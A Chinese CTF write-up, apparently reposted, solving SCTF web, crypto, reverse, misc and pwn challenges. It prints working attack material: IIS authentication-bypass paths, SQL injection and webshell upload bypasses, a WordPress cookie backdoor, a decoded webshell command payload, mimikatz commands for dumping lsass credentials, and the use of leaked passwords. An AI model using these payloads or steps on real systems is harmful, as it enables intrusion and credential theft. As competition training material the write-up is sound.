<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/4243

            PT100


            看到題面提示說 flag 在后臺

            輸入 /admin/ 看到一個 HTTP Basic Authentication

            既然是CTF肯定不可能是跑密碼了,所以考慮其他情況。觀察可知主頁跑的是 PHP 。但是看 HTTP 頭卻是 IIS 。所以考慮是不是 短文件名之類的。搜索可得

            http://www.freebuf.com/articles/4908.html
            

            注意到最后有這么一段

            以下部分為其他報道較少提及的。

            還是這個短文件/文件夾名暴露漏洞, acunetix 研究指出當 Apache 運行在 windows 下,如果創建了一個長文件,那么無需猜解長文件,直接用短文件就可以下載了。例如一個 backup-082119f75623eb7abd7bf357698ff66c.sql 的長文件,其短文件是 BACKUP~1.SQL ,攻擊者只需要提交 BACKUP~1.SQL 就可以直接訪問該文件。原文

            http://www.acunetix.com/blog/web-security-zone/articles/windows-short-8-3-filenames-web-security-problem/

            另外,Soroush Dalilide研究中還提到可以繞過Basic and Windows認證,猜解認證目錄下的文件。以下是II5.0繞過認證的方法:詳細可見原文研究

            http://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/

            "/AuthNeeded:$i30:$INDEX_ALLOCATION/secretfile.asp"

            Instead of:

            "/AuthNeeded/secretfile.asp"

            但是并不是所有版本的IIS都能夠繞過認證。應該是在可繞過的前提下猜解,形式如下:

            /AuthNeeded::$Index_Allocation/~1/.aspx

            或者

            /AuthNeeded:$I30:$Index_Allocation/~1/.aspx

            一開始嘗試

            /admin::$Index_Allocation/.htpasswd
            

            多次,未果。后來想這個是 IIS 可以在 IIS 那邊設置,遂訪問

            /admin::$Index_Allocation/index.php
            

            得到一個登陸點,嘗試

            id=001'  return : WTF 
            

            但是

            id=0001' return : login failed
            

            可以大概猜測出,這個只能輸入四個字節,且應該是個注入,四個字節注入想到 alictf 的 web100 將 or 轉成 || 。嘗試

            '|1#
            

            發現不行。。。后來糾結了很久,重新看了一遍自己輸入的。。考慮了下,隨手將 1 改成 0 。

            Get Flag。。。

            PT200


            看了下 source code 發現有個

            index.php?name=xss
            

            然后在右上角有個鏈接可以提交語句,簡單來看就是一個 xss 。然后試驗了幾個關鍵詞,發現都過濾了。

            比如

            on|script|img
            

            等等

            然后想要不先打后臺吧,測試發現

            <iframe>
            

            沒有過濾,就打了個過去。但是想想也沒 cookie 似乎也干不了什么。

            后來官方給了 hint 說是不要 0day 已經有繞過了。遂 Google 。

            http://parsec.me/13.html
            

            里面 import 一個外部 PHP ,但是如果直接打 cookie 不行,因為存在一個跨域問題,插個允許跨域的頭就 ok 了。 然后打到后臺,發現沒 cookie 什么的。

            再看另一個 hint 可知,有個 SQLi ,遂利用 heige ,在杭州說的思路,用 ajax 去獲取信息,然后再回傳。

            猜測后發現存在 flag.php 然后總要有參數吧。

            記得去年還是前年 syc 舉辦的一個比賽,注入也是要先輸入一個 GET 參數

            id=1
            

            這樣之后得到一個地址。嘗試

            ' 
            and 1=1
            

            可看到,提示有安全狗。

            前兩天剛看到有人發了條微博,說 MySQL 新關鍵字, multipoint 什么的。

             https://rdot.org/forum/showthread.php?p=37133
            

            然后注入。

            PT400


            官方給了個 wordpress 的 blog 看了下。沒什么想法。

            后來看到底部給了個鏈接

            http://idc.sycsec.com
            

            就想反正 wordpress 不好搞。那就直接搞 idc 吧。(另:真實滲透中搞不搞 idc 主要還是看值不值得,看產入產出比。)

            進入 idc 可以看到 download 有 pt300 的源碼。可惜審錯版本。。導致沒做出來。

            然后底部有個 bug反饋

            bug.php
            

            然后后來官方 hint SQLi 那就是 idc 有注入了,手測了下。

            id=2 返回等于 id=4-2
            

            可以知道這有注入,然后但是發現應該是過濾了什么。

            因為懶,所以我 SQLmap 的 tamper 一個個試過去,不巧第二個就成功了。看了下,發現是講空格轉換成 %0a 。

            然后注入出后臺管理員賬號密碼。

            然后但是不知道后臺啊,所以將注入 concat 出一個 xss 。從 bug 反饋那邊打到后臺。

            (這里是吐槽:管理員的密碼跑出不來。最后手抽去 Google 了一下才得到密碼。)

            進入后臺后有上傳點,嘗試直接上傳不成功,修改上傳的包

            text/php -> image/jpg
            

            發現可上傳,但是其實沒搞定。后來,百度了幾個免殺 PHP 一句話之類的。發現,如果 PHP 標簽不是

            <?php ?> 
            

            而是

            <script language=php></script>
            

            就可以繞過。

            然后應該是過濾了很多函數,嘗試直接列目錄和讀文件,發現目錄下有個 wordpress 的壓縮包。賭五毛就是看壓縮包日 blog 了。

            然后根據時間將壓縮包里的文件都列出來,發現

            /wp-include/revision.php
            

            這個文件是最近修改過的, diff 了下官方版本的 wordpress 發現里面多了這么一段。

            #!php
            function wp_check_my_session(){ 
            if(isset($_COOKIE['wp-ssesion'])) {
                $_check=($_COOKIE['wp-sesion'][0]^$_COOKIE['wp-sesion'][1]).
                        ($_COOKIE['wp-sesion'][2]^$_COOKIE['wp-sesion'][3]).
                        ($_COOKIE['wp-sesion'][4]^$_COOKIE['wp-sesion'][5]).
                        ($_COOKIE['wp-sesion'][6]^$_COOKIE['wp-sesion'][7]).
                        ($_COOKIE['wp-sesion'][8]^$_COOKIE['wp-sesion'][9]).
                        ($_COOKIE['wp-sesion'][10]^$_COOKIE['wp-sesion'][11]);
                $_check($_COOKIE['wp-ssesion']);
            }
            else{
            return 0;
            }
            

            看了眼應該是后門,用戶可以自定義一個六位的函數并執行,第一反應是 system 。

            然后就寫了個程序,直接暴力跑了下所有的可能,隨便拿了一個出來。屢次嘗試后發現不成功。

            然后發現,這里還是吐槽:其實 cookie 里是有兩個不一樣的變量的。。但是由于太像了,導致我只傳了一個。

            滿心歡喜的去執行了,傳了兩個后發現,還是不行。。目測就是 system 函數被禁用了?

            然后嘗試 assert 函數。成功執行,翻文件后發現沒有 flag 。最后直接連上數據庫

            Get FLag

            PT500


            鏈接到三葉草花卉公司。

            http://corp.sycsec.com
            

            enter image description here

            可以看到給出了幾個鏈接,還有個妹子的圖片,在源碼里還有妹子的郵箱。

            enter image description here

            從題面看,最終是要到 file 服務器找到那個種子。然后

            PING file.sycsec.com (10.24.13.37): 56 data bytes
            Request timeout for icmp_seq 0
            

            發現 file 服務器在內網,好了就是滲透了。

            enter image description here

            然后先到 report 服務器,看到時要用工號登陸,又說妹子來了就有83人了。易得,妹子的工號肯定就是

            SYC083
            

            然后到公開的社工庫查詢下,發現在 csdn 泄漏了妹子的密碼。用那個密碼成功登陸 report 服務器。

            enter image description here

            然后有上傳點,發現上傳任何文件都會變成 lol 的后綴的文件。然后看了下上傳的包,隨手在文件名里面加了個 ' 發現報錯了。

            好了,目測就是文件名的注入了。注入得到每個人的賬號密碼,工號,公司郵箱。

            enter image description here

            噢,郵箱啊。那就是接下去要登陸 mail 服務器了。目測郵箱地址為

            http://mail.sycsec.com
            

            好了,然后密碼一個個試過去,發現

            [email protected]
            

            可以登陸,發現里面有 vpn 服務器地址,還說了密碼是工號加生日,

            enter image description here

            郵件里還說小美周末就生日了。

            enter image description here

            然后到

            http://vpn.sycsec.com

            用注入得到的小美的工號加生日(枚舉了生日年份 90-99 )發現小美密碼是

            SYC079940927

            enter image description here

            登陸 vpn 服務器后,訪問

            http://10.24.13.37/

            到了 file 服務器,然后組合各種密碼未果。嘗試掃描目錄,發現有個 files 目錄。

            既然是 files 服務器,而且是一個公司,那么肯定在 files 目錄下有用用戶名或者工號命名的目錄,然后后面有文件。

            然后嘗試

            http://10.24.13.37/files/SYC001 - SYC083/torrent
            

            enter image description here

            Get Flag!

            code200


            把數值轉成二進制觀察下就行了,直接貼代碼吧。代碼太挫,勿噴。

            #!python
            import string,socket
            
            global answer,real_ans,flag,a_num
            
            def check(answer_t,num):
                global real_ans
                money = [1, -2, 4, -8, 16, -32, 64, -128, 256, -512, 1024, -2048, 4096, -8192]
                for x in answer_t:
                    num -= money[x]
                if num == 0:
                    flag = 1
                    real_ans = answer[:]
                    return 1
                return 0
            
            def odd(i):
                if i % 2 == 0:
                    return False
                return True
            
            def solv(num):
            
                global answer,real_ans
                if check(answer,a_num) == 1:
                    return 0 
                bin_num = bin(num)
            
                if odd(abs(num)):
                    num -= 1
                    bin_num = bin(num)
                    answer.append(0)
                    if check(answer,a_num) == 1:
                        return
            
                for x in xrange(2,len(bin_num)-1,2):
                    if bin_num[-1*x] == '0' and bin_num[-1*x-1]== '1':
                        answer.append(x)
                        if solv(num-2**x) == 0:
                            return 0
            
                    if bin_num[-1*x] == '1' and bin_num[-1*x-1]== '1':
                        answer.append(x-1)
                        if solv(num+2**(x-1)) == 0:
                            return 0
            
                    if bin_num[-1*x] == '1' and \
                      (bin_num[-1*x-1]== '0' or bin_num[-1*x-1]== 'b'):
                        answer.append(x-1)
                        if solv(num+2**(x-1)) == 0:
                            return 0
            
            def main():
                global answer,real_ans,flag,a_num
                io = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                io.connect(('218.2.197.248',10007))
                res = ''
                rnd = 0
            
                while True:
                    rnd += 1
                    a_num = 0
                    res = ''
                    res = io.recv(1024)
                    try:
                        a_num = int(res)
                    except:
                        print '\n'+res
                        break
                    print '\n' + '-' * 10 + ' Round %d '%rnd + '-'*10
                    print res
                    flag = 0
                    answer = []
                    real_ans = []
                    solv(a_num)
                    s = ''
                    if len(real_ans)>0:
                        s = ' '.join([str(x) for x in real_ans[::-1]])
                    print s
                    io.sendall(s+'\n')
            
            
            if __name__ == '__main__':
                main()
            

            RE50


            送分題,就是沒來得及看公告……使用IDA64分析,發現是對輸入的字符串每一個字符右移3位,然后和字符串Jr3gFud6n進行比較看是否一致。

            enter image description here

            enter image description here

            Python腳本:

            #!python
            # -*- coding:utf-8 -*-
            def getFlag():
                s = "n6duFg3rJ"[::-1]
                flag = []
                for ch in s:
                    flag.append(chr(ord(ch)-3))
                return "".join(flag)
            
            if __name__ == "__main__":
                raw_input("SCTF{%s}" % getFlag())
                # SCTF{Go0dCra3k}
            

            MISC100


            對bin文件進行分析,發現在主框架中通過signal函數注冊了幾個信號,其中’2’,’4’,’6’,’8’分別用于控制下、左、上、右四個方向,SIGALRM用于處理游戲的主要業務邏輯。至于SIGTRAP,則是在handler里面留了個個int 3的斷點,簡單的反調試罷了,SIGTRAP的信號處理邏輯為直接執行一個空函數。

            enter image description here

            所以我們可以寫一個程序,通過發送信號的方式來控制按鍵。Linux下C語言可以使用kill函數對指定的pid發送信號,而pid則可以通過執行命令得到(ps/grep/awk),為了完美接收鍵盤控制信息,我這里使用了curses來接收按鍵操作,這樣直接按方向鍵就好了。

            #!c
            #include <stdio.h>
            #include <stdlib.h>
            #include <string.h>
            #include <curses.h>
            #include <sys/types.h>
            #include <signal.h>
            
            int getPid()
            {
                FILE *fp = NULL;
                fp = popen("ps -e|grep \'snake\'|awk \'{print $1}\'", "r");
                int pid = -1;
                if (EOF == fscanf(fp, "%d", &pid)) pid = -1;
                pclose(fp);
                return pid;
            }
            
            int main(int argc, char** argv)
            {
                int ch;
                int pid = -1;
            
                while (pid == -1) pid = getPid();
                printf("pid = %d\n", pid);
                initscr();
                cbreak();
                noecho();
                keypad(stdscr, true);
                while (1)
                {
                    ch = getch();
                    if (ch == KEY_UP) ch = '8';
                    else if (ch == KEY_DOWN) ch = '2';
                    else if (ch == KEY_LEFT) ch = '4';
                    else if (ch == KEY_RIGHT) ch = '6';
                    kill(pid, ch);
                }
                endwin();
            
                return 0;
            }
            /*
                g++ -o ctrl ctrl.cpp -lncurses
                U0NURntzMWduNGxfMXNfZnVubnk6KX0=
                SCTF{s1gn4l_1s_funny:)}
            */
            

            MISC300

            從編號為16的數據包中找到一個Encryption Key為1122334455667788,于是Google一下關鍵字“SMB 1122334455667788 密碼”,點點點來到看雪的一個帖子http://bbs.pediy.com/showthread.php?t=176189,學習一下。

            enter image description here

            以及Unicode Password,如下圖所示:

            enter image description here

            參照看雪論壇的帖子,新進行如下操作:

            Step 1: 彩虹表跑起來


            從ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/RTI2/halflmchall/下載彩虹表,還好網速快,嘩啦啦就把第一個文件夾的4GB多的彩虹表下好了。然后從http://sourceforge.net/projects/rcracki/下載rcracki程序,執行如下命令: rcracki_mt.exe -h 9e94258a03356914 D:\Downloads\rainbow

            很快就看到了結果,如圖所示:

            enter image description here

            第一步搞定,這里得到的結果為:

            9e94258a03356914 NETLMIS hex:4e45544c4d495

            Step 2: Perl腳本跑起來


            這里卡了一會,因為看雪的帖子并沒有說John文件是如何構造的,他那個是Metasploit自動生成的,所以我又翻了好幾個帖子,最后構造了這樣一個文件:

            user::domain:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:1122334455667788

            然后去Kali下的metasploit-framework下跑netntlm.pl腳本:

            [email protected]:/usr/share/metasploit-framework/data/john/run.linux.x64.mmx$

            sudo perl ./netntlm.pl --seed "NETLMIS" --file /tmp/john_netntlm

            跑完第一遍得到NETLMIS666,這個是不區分大小寫的,我們還需要跑第二遍,第二遍得到NetLMis666,因此Flag為SCTF{NetLMis666}。

            MISC400A


            Wireshark打開pcap文件,輸入過濾器“tcp contains ".rar"”,發現一個編號為10192的POST數據包,參數經過Unescape解碼后得到:

            [email protected](base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=C:\\inetpub\\wwwroot\\backup\\wwwroot.rar
            

            其中z0參數經過Base64解碼后得到:

            @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];[email protected]($F,"r");if(@fgetc($fp))[email protected]($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");};echo("|<-");die();
            

            可以知道這里是讀取了wwwroot.rar這個壓縮包文件,在Wireshark將Rar給Dump出來,解壓發現需要密碼。因為rar文件比較大,所以10192附近有很多TCP的數據包,所以我們使用過濾器“http”進行篩選之后再觀察10192附近的數據包,發現了很多POST數據包。

            從10192開始,往上一個一個的看POST數據包,發現編號9997的數據包參數經過Unescape解碼后得到:

            [email protected](base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJkM6XHByb2dyYX4xXFdpblJBUlxyYXIgYSBDOlxJbmV0cHViXHd3d3Jvb3RcYmFja3VwXHd3d3Jvb3QucmFyIEM6XEluZXRwdWJcd3d3cm9vdFxiYWNrdXBcMS5naWYgLWhwSkpCb29tJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
            

            對參數進行Base64解碼得到:

            [email protected](base64_decode($_POST[z0]));&[email protected]_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
            ret={$ret}
            ":"";;echo("|<-");die();&z1=cmd&z2=cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]
            

            其中hp后面的JJBoom就是壓縮包的密碼了,解壓得到一個1.gif文件,trid鑒定一下,發現是個Minidump文件:

            enter image description here

            將后綴改成mdmp之后,使用Visual Studio打開看了下,發現是lsass.exe進程的Dump文件,如下圖所示:

            enter image description here

            Google一下關鍵字“lsass dump 密碼”,就看到了mimikatz,所以根據經驗這就是通過mimikatz來讀取密碼了,打開mimikatz,然后輸入如下命令:

            sekurlsa::minidump 1.mdmp

            sekurlsa::logonPasswords

            就能看到分析出來的密碼了,密碼處顯示,如下圖所示:

            enter image description here

            于是提交了一下嘗試:

            SCTF{} SCTF{ } (TAB+空格)

            發現都不對,然后又去反查NTLM發現查不到,最后自己在XP下測試了一下,發現密碼中是不能有空格的,然后空格就是空格,也不會顯示成,當然在命令行下也看不出來有空格,所以只能猜測后面是有空格了,試了幾個發現也不對,就把輸出重定向到文件里:

            enter image description here

            打開文件就能看到密碼了,所以Flag為SCTF{ }。

            CODE400


            題目所給的原始代碼如下:

            #!python
            import json
            import hashlib
            import os
            import base64
            from Crypto.Cipher import AES
            
            
            fp = open("secret.json", "r")
            secret = json.load(fp)
            fp.close()
            
            if type(secret["the answer to life the universe and everything"]) != type(u"77"):
                destroy_the_universe()
            
            answer = hashlib.sha1(secret["the answer to life the universe and everything"]).hexdigest()[0:16]
            key = hashlib.sha1(secret["Don't google what it is"]).digest()[0:6]
            
            if ord(key[4])*(ord(key[5])-5) != 17557:
                destroy_the_universe()
            
            keys = ["hey"+key[2]+"check"+key[3]+"it"+key[0]+"out", 
                    "come"+key[1]+"on"+key[4]+"baby"+key[5]+"~~!"]
            answer = AES.new(keys[1],AES.MODE_ECB).encrypt(
                            AES.new(keys[0], AES.MODE_ECB).encrypt(answer))
            
            if base64.b64encode(answer) == "fm2knkCBHPuhCQHYE3spag==":
                fp = open("%s.txt" % hashlib.sha256(key).hexdigest(), "w")
                fp.write(secret["The entrance to the new world"])
                fp.close()
            

            第一個if語句也真是個坑,Google一下"the answer to life the universe and everything"得到的是42,然后后面也必須用42,不然就算不出結果,這里居然寫成77?

            第二個if語句,我們可以計算出有97*181=17557,代碼如下:

            def break_multiply(dst=17557): for i in xrange(0, dst+1): for j in xrange(i, dst+1): if i * j == dst: print "%d * %d = %d" % (i, j, dst)

            那么key4和key5會存在兩種情況(97,186),(181,102)。

            之后就是加密處理了,加密邏輯為:使用keys[0]對answer進行AES加密得到中間結果TMP,然后使用keys1對TMP進行AES加密得到結果RES,對RES進行Base64編碼得到fm2knkCBHPuhCQHYE3spag==。

            那么我們就可以開始爆破了,其中keys1存在512種情況,所以稍微優化一下我們可以使用keys1對加密結果進行AES解密,然后使用一個list保存這512種可能的中間結果,然后跑一個256256256的三重循環破解keys[0],代碼如下:

            #!python
            # -*- coding:utf-8 -*-
            
            import hashlib
            import base64
            from Crypto.Cipher import AES
            
            def genkey1():
                res = []
                for i in xrange(0, 256):
                    res.append("come"+chr(i)+"on"+chr(181)+
                                 "baby"+chr(102)+"~~!")
                    res.append("come"+chr(i)+"on"+chr(97)+
                                 "baby"+chr(186)+"~~!")
                return res
            
            def genkey0():
                res = []
                for i in xrange(0, 256):
                    for j in xrange(0, 256):
                        for k in xrange(0, 256):
                            res.append("hey"+chr(i)+"check"+
                                         chr(j)+"it"+chr(k)+"out")
                return res
            
            def getkey1(key0):
                answer = hashlib.sha1(u"42").hexdigest()[0:16]
                tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer)
                final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==")
                for i in xrange(0, 256):
                    key1 = "come"+chr(i)+"on"+chr(181)+"baby"+chr(102)+"~~!"
                    if tmp == AES.new(key1, AES.MODE_ECB).decrypt(
                                         final_answer):
                        print "key1: " + repr(key1)
                        return
                    key1 = "come"+chr(i)+"on"+chr(97)+"baby"+chr(186)+"~~!"
                    if tmp == AES.new(key1, AES.MODE_ECB).decrypt(
                                         final_answer):
                        print "key1: " + repr(key1)
                        return
            
            def crack():
                keys0 = genkey0() # 256**3
                keys1 = genkey1() # 512
                answer = hashlib.sha1(u"42").hexdigest()[0:16]
                final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==")
                tmp_res = []
                for key1 in keys1:
                    tmp_res.append(AES.new(key1, AES.MODE_ECB).decrypt(
                                      final_answer))
                for key0 in keys0:
                    tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer)
                    if tmp in tmp_res:
                        print "key0: " + repr(key0)
                        return getkey1(key0)
            
            if __name__ == "__main__":
                crack()
                key = "\x81i7\x88a\xba"
                print hashlib.sha256(key).hexdigest()
            """
            key0: 'hey7check\x88it\x81out'  2 3 0
            key1: 'comeionababy\xba~~!'     1 4 5
            5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4
            http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt
            """
            

            當然上面的代碼中也可以不事先執行完3個256的循環,這樣還可以進一步加快計算速度,因為中間只要得到答案就可以返回了。這里得到的key為"\x81i7\x88a\xba",sha256得到5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4。所以打開

            http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt

            打開得到如下的提示:

            ====== Base64格式密文 ======
            Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=
            ====== 部分明文還原 ======
            *****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****
            

            對Base64密文進行Base64解碼,發現密文的長度為320,和明文的長度是一致的,然后密文是下面的值重復5次:

            :\xbd|\xff\x14\x82\xdb\x15\xb9\xa5>\xc1-\xb2\x04\xed\x83\xc6/\x05\xb2\xb5\xb6l\xc6\xeaL\xa7\x8c:\x89\xa6\xb4B\xfbXeC\x1e~G\xf8\xdf\t\xb3G~\x8czA\xe6\xdb| #\x86\xee \x92\xc6\x93\xb9\xbb\x81
            

            密文和明文長度是一致的,然后密文是重復的,可以猜想明文也是重復的,而且明文去除掩碼后得到的字符串的長度剛好是64(64*5=320):

            nMHjWxdh3===tFMfhM3HwJ===UE95VcN5tMJcQch50====NURX2uHYGP=0f5OX==

            所以猜想通過帶掩碼的明文剛好可以恢復出明文值,代碼如下:

            #!python
            # -*- coding:utf-8 -*-
            import sys
            import hashlib
            import base64
            
            def crack():
                ciphertext = base64.b64decode("Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=")
                plaintext = "*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****"
                print repr(ciphertext)
                length = len(ciphertext) / 5
                answer = list("*"*length)
                for i in xrange(0, len(plaintext)):
                    if plaintext[i] != '*':
                        answer[i%length] = plaintext[i]
                answer = "".join(answer)
                print answer
                print base64.b64decode(answer)
                # SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}
            
            if __name__ == "__main__":
                crack()
            

            解出來的明文為:

            U0NURntEMF95MHVfcjNhMWx5X2tuMHdfY3J5cHQwOXJhcGh5P30=============

            進行Base64解碼得到Flag為。SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}

            pwn200


            簡單的棧溢出,利用一個字節修改輸入長度,先通過泄露站上的libc中的地址獲取system函數基址 /bin/sh地址,然后就是rop鏈

            pwn300


            格式化字符串漏洞,開了dep,沒辦法獲得棧地址,所以通過劫持got表來實現system函數的執行。 利用步驟:

            1. 先通過%279$x泄露獲得libc_start_main地址

            2. 根據提供的libc計算出system地址

            3. 每次該兩個字節劫持printf函數地址為system enter image description here

            4. 發送/bin/sh,讓其通過printf打印,實際上是在執行/bin/sh

            Pwn400


            看到雙向鏈表就猜到了是模擬dlmalloc堆溢出了.在edit content的時候,輸入超長,可以覆蓋下一個堆塊的內容,這樣鏈表的雙向指針就可以被我們控制,實現任意地址寫漏洞:如下是content超長的截圖:

            enter image description here

            要注意的是,該文件關閉了dep,那利用思路就是利用任意地址寫漏洞,將shellcode地址寫入某個got表,選擇一個合適的函數got表很關鍵,最后我選擇的是free函數的got表,原因是如下圖所示:

            enter image description here

            在鏈表卸載后有個釋放堆的函數,我們要覆蓋雙向指針,必然會導致堆塊頭部受損,保證堆塊頭部不出問題是個麻煩的事兒,不如直接劫持free函數,同時也不會有其他問題。

            那整體的利用順序就是:1。申請3個note 2.編輯第一個note,設置內容覆蓋第二個note的雙向指針,3.釋放第二個note。關鍵代碼如下:

            enter image description here

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线